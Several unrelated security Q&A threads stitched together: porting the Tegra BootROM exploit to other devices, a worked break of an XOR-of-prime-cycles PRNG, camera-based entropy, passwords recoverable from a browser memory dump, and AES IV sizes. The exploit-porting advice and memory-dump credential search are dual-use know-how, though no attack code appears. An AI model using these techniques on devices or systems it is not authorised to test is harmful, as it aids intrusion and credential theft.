This applies to anything, not just Tegras: even if pieces of code share a vulnerability, the slightest differences can cause an exploit written for one to not work for the other (this is especially true for low-level stuff like a BootROM). On the other hand, in the readme file in fail0verflow's ShofEL2 repository, they said that the exploit 'probably works on the Ouya', which is an Android device with the Tegra 3 (and the Tegra K1 is probably more similiar to the X1 than the Tegra 3 is to the X1).

I don't know if you have a payload in mind; if not, you can probably use an existing kernel image built for the device. (Even if you don't in the end, it can be helpful to make sure that the exploit worked before investing your time in building your own kernel.) The following only applies if you do use an Android kernel image: If you use the exploit to boot the default kernel with the default cmdline, it will (probably) boot-up normally. To make sure the exploit worked try passing an invalid init= parameter or something else to cause it to panic. (I don't know if Android kernels are usually compiled with CONFIG_VT=y, and if not you won't see a panic message. If not, try running a simple executable that creates a file on an SD card, for example.)

Let me know what results you have, I'm also interested in porting this exploit. (I only own a Switch, but I've been contemplating purchasing a Tegra 3-powered Microsoft Surface RT and trying the exploit on that. The Surface RT uses UEFI Secure Boot to ensure that the end-user only uses Windows RT.)

I find it really funny that this vulnerability has supposedly been around for a really long time (at least since the launch of the X1) and no one noticed it until the Switch (and when they did, three separate groups discovered it around the same time).


XOR of many prime sized cycles: secure? I thought of a PRNG which is dependent on a large amount of good salt. The method is to use the salt to fill many arrays whose lengths are prime numbers, and cycle through each array, and ouput the XOR of all pointed bit. This way, a very long period can be easily guaranteed, and this PRNG did well in dieharder tests.

But I wonder if an adversary can infer from a partial output the internal state or the next output. To clarify my question, let's assume the attacker knows the lengths of the arrays. How much consecutive output (relative to the state size) will make it feasible for the attacker to narrow down the possibilities of the following output?

@Mark is on the right track, but not quite right. You can consider the array elements and RNG output as a system of linear equations, but they're not linearly independent. In fact, you can never fully recover the array elements, because xoring the same value into all values in two of the arrays will give the same RNG output -- the xored value is included twice in each element of the RNG output, so it cancels itself.

This actually makes the attacker's job easier, because they don't have to infer the entire array to predict all future output, so they don't need as many equations (/outputs). It's possible to predict all output from just (sum of primes) - (number of primes) + 1 consecutive outputs.

Here's an example, using arrays of lengths 2, 3, and 5. Call the arrays A (length 2), B (length 3), and C (length 5), and the output R. Then we have:

R0 = A0 ⊕ B0 ⊕ C0
R1 = A1 ⊕ B1 ⊕ C1
R2 = A0 ⊕ B2 ⊕ C2
R3 = A1 ⊕ B0 ⊕ C3
R4 = A0 ⊕ B1 ⊕ C4
R5 = A1 ⊕ B2 ⊕ C0
R6 = A0 ⊕ B0 ⊕ C1
R7 = A1 ⊕ B1 ⊕ C2
R8 = A0 ⊕ B2 ⊕ C3
R9 = A1 ⊕ B0 ⊕ C4

Consider:

R0 ⊕ R3 ⊕ R5 = (A0 ⊕ B0 ⊕ C0) ⊕ (A1 ⊕ B0 ⊕ C3) ⊕ (A1 ⊕ B2 ⊕ C0)
 = A0 ⊕ B2 ⊕ C3
 = R8

So xoring the zeroth, third, and fifth outputs predicts the eighth. And xoring the first, fourth, and sixth would give the ninth, etc.

Net result: this is completely useless as a cryptographic RNG.


Is generating random numbers using a smartphone camera a good idea? Forgive my ignorance on the subject, but I wish to know more and asking (stupid) questions are one way. I was reading http://www.random.org/randomness/ and this idea popped into my head (before the bit about lava-lamps)

Considering the following:

Things like atmospheric properties and "real" life in general are supposedly random in the truest sense, they count as TRNGs.
Computers' pseudo random number generators are not as random (hence the pseudo) and, judging by all the NSA/GHCQ revelations lately, not to be trusted.
Smartphones have increasingly sensitive cameras.
Smartphone photos are usually taken by hand.

Would taking a photo using a smartphone and using the RAW file's bytes count as a good way to get a large random number quickly? The sensitivity and the naturally differing position would make even several photos of the same thing quite different, and photos are of the real world, making them as random as the things they point at (prior to loss introduced by the camera).

If it is a good way to get a large random number, I could see that it would be an accessible, easy way for average Joe to generate a key. An added benefit would be that it could be used as a key, or a random number for a key, that the holder could recognise by sight, and yet could also deny was a key, as it's just a photo.

Finally, since market forces and increasing technology mean more sensitive cameras will become more widespread, would this be one way to protect against intentional flaws being introduced? I imagine that poor camera quality would quickly be noticed and can easily be tested for (the linked article gave an example of how humans are good at testing things visually) - and it'd be news that would harm uptake of a model (happened to Apple at least once, not sure if it put people off though). Hence, market forces could work against the introduction of flaws.

If this is stupid, please say why and point me to a resource to further my knowledge. If it's not, I'm going to write an app to do this.

Using a camera as random source is a good idea (not a new one, but still a good one). However, you should do it correctly: take the photo, then hash it with a cryptographic hash function, e.g. SHA-256. Then use the output as a seed for a cryptograhically secure PRNG to generate as many random bytes as you need.

Using the file size will yield only very few bits of entropy from your picture: if a typical picture compresses to a size around, say, 2 MB, plus or minus 128 kB on average, then you will get at most 18 bits of entropy from the size. With a hash function, you harvest all the entropy that there is in the photo itself, up to the internal limit of the hash function (about 255 bits for a 256-bit output), which is way beyond that which is necessary for all realistic purposes.

A single photo ought to contain a lot of entropy, unless the camera output is covered in some way and the picture is uniformly black. A word of warning, though: if the hash of the photo is used as a secret (and that's the case if you want to use it as seed for a PRNG to produce keys), then that photo must remain confidential: hash it, but never let it be written as a file in the Flash memory of the phone. The photo should be obtained in RAM only, hashed, and then discarded. I don't know what API for photo capture applications have in a typical phone; it seems probable that you can obtain the photo without hitting the Flash in any way, but I invite you to check.


Password capturing from dump file or browser after log out I am working on web application security auditing.
I was going through various checklists & methodology.

I found one interesting stuff in a document.

Type - Configuration Management
Security Testing - After logout, I created a dump file of my chrome browser and opened it in winhex editor. Used search feature of that tool and inserted "pass =" in order to find password. I found username and password shown in hex with that tool.

My question - Is it a vulnerability of an application?

I was also seeking for a solution. I thought if a developer could reset the variable after immediate login, it can eliminate this vulnerability. Am I right ?

Is it a vulnerability?  Yes.

Is it a severe vulnerability?  Probably not.  For an attacker to read a password out of memory, they need some way to read arbitrary parts of memory, either by running their own program on the computer (in which case security is already totally compromised) or by exploiting a use-after-free or similar bug to convince another program to do the reading for them.

As for a solution, it depends on where the password is coming from.  If it's Javascript, there's no surefire way to solve it: Chrome doesn't know there's anything special about the variable so it can't wipe it after use, and the Javascript can't count on successive writes to the variable ending up in the same piece of memory.


Encrypting using AES-256, can I use 256 bits IV? I want to encrypt data using AES in java, and I want to intialize the cipher with Initialisation Vector.
Can I use 256-bits IV ? Or I must use only 128-bits IV ?

The IV depends on the mode of operation. For most modes (e.g. CBC), the IV must have the same length as the block. AES uses 128-bit blocks, so a 128-bit IV. Note that AES-256 uses a 256-bit key (hence the name), but still with 128-bit blocks.

AES was chosen as a subset of the family of block ciphers known as Rijndael. That family includes no less than 15 variants, for three possible block sizes (128, 192 and 256 bits) and five possible key sizes (128, 160, 192, 224 and 256 bits). AES, as standardized by NIST, includes only three variants, all with 128-bit blocks, and with keys of 128, 192 or 256 bits.

To further confuse things, some software frameworks got it wrong; e.g. PHP uses "MCRYPT_RIJNDAEL_128" to designate Rijndael with 128-bit keys and 128-bit blocks (i.e. the same thing as AES-128), and "MCRYPT_RIJNDAEL_256" for Rijndael with 256-bit keys and 256-bit blocks (i.e. not one of the AES variants, and in particular not at all AES-256).